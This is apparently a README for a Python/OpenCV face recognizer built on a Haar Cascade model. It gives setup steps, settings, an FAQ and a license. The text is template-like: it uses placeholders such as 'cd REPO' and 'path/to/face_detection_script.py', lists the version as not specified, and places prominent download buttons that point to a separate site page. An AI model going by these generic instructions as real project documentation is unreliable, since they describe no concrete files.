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basic-face-recognizer-script

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Basic Face Recognizer is a Python and OpenCV computer vision utility for detecting and recognizing faces with a pre-trained Haar Cascade model, without requiring users to build an AI model from scratch.

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# Basic Face Recognizer - Computer Vision 2026

> **Basic Face Recognizer is a Python/OpenCV computer vision utility that detects and recognizes faces through a pre-trained Haar Cascade model, so users can work without building an AI model from the ground up.**

[![Platform](https://img.shields.io/badge/Platform-Python-blue?style=flat-square)](https://github.com)
[![Version](https://img.shields.io/badge/Version-Not%20specified-green?style=flat-square)](https://github.com)
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[![Stars](https://img.shields.io/github/stars/fdubois01/basic-face-recognizer-script?style=flat-square)](https://github.com/fdubois01/basic-face-recognizer-script)

---

> **[Download Basic Face Recognizer](https://fdubois01.github.io/basic-face-recognizer-script/)**

---

[Download Latest Build](https://fdubois01.github.io/basic-face-recognizer-script/)

---

## Project Overview

Built with Python and OpenCV, Basic Face Recognizer provides a simple way to work with facial image processing. Its detection process relies on the Haar Cascade Classifier, an already-trained model that can identify faces without requiring a separate training process for every installation.

The project is aimed at developers, students, and people learning the fundamentals of computer vision. Using Python, OpenCV, and a ready-made cascade model, it offers a practical base for running face detection and recognition experiments while leaving model creation out of the initial setup.

---

## Capabilities

- Face detection implemented with Python
- OpenCV-powered image and video processing
- Compatibility with a pre-trained Haar Cascade Classifier
- Face recognition support
- No need to train a custom model
- Appropriate for beginner AI and computer vision work
- Extendable starting point for further experiments

---

## Getting Started

First, download the repository and enter its directory:

```bash
git clone https://github.com/fdubois01/basic-face-recognizer-script.git
cd REPO
```

Install the dependencies specified by the project. When a requirements file is present, run:

```bash
python -m pip install -r requirements.txt
```

Then launch the supplied face detection program:

```bash
python path/to/face_detection_script.py
```

Use the actual script filename and path from your checkout in place of the example path.

---

## Running the Tool

The usual process follows these steps:

1. Download or clone the repository.
2. Set up Python dependencies, including OpenCV.
3. Ensure the application can access the Haar Cascade model.
4. Run the face detection script.
5. Supply the image or camera source required by that script.
6. Inspect the resulting face regions or recognition results.

The general command for starting a local script is:

```bash
python path/to/face_detection_script.py
```

Input handling and available command-line arguments are determined by the particular script included in the repository.

---

## Settings and Model Path

The Python application and the Haar Cascade file location are the main configuration areas. When the program requires an explicit model path, point it to the pre-trained cascade file included with the project or obtained separately.

For example:

```python
CASCADE_PATH = "path/to/haarcascade_model.xml"
INPUT_SOURCE = 0
```

Change both values as needed for the repository structure and the image, video, or camera input you intend to use.

---

## Prerequisites

- Python
- OpenCV
- A compatible Haar Cascade Classifier model
- An image, video, or camera input accepted by the script
- Enough storage for the project and its Python dependencies

Check the repository's project files to verify the supported Python version and exact dependency versions before deploying the application.

---

## Common Questions

### Is custom model training needed?

No. The described workflow uses a pre-trained Haar Cascade Classifier and does not require users to train a custom model.

### Which computer vision libraries are used?

The tool combines Python with OpenCV to perform face detection and recognition tasks.

### Where are the application settings located?

Use the Python script to configure the application. If supported by the project, the Haar Cascade model path and input source are set there as well.

### What is the update procedure?

Fetch the newest repository changes, then refresh the dependencies if the project configuration has been modified:

```bash
git pull
python -m pip install -r requirements.txt
```

### Why can the script not locate the model?

Confirm that the Haar Cascade file is present and that the configured path points to its real location. Remember that relative paths are resolved from the directory used to start the script.

### How do I request help?

Inspect the repository documentation and files first. If the problem remains, open an issue at [GitHub](https://github.com/fdubois01/basic-face-recognizer-script) and include your Python version, operating system, command, and full error output.

---

## License

This project is released under GNU GPL v3.0. See [LICENSE](LICENSE) for the complete license text.

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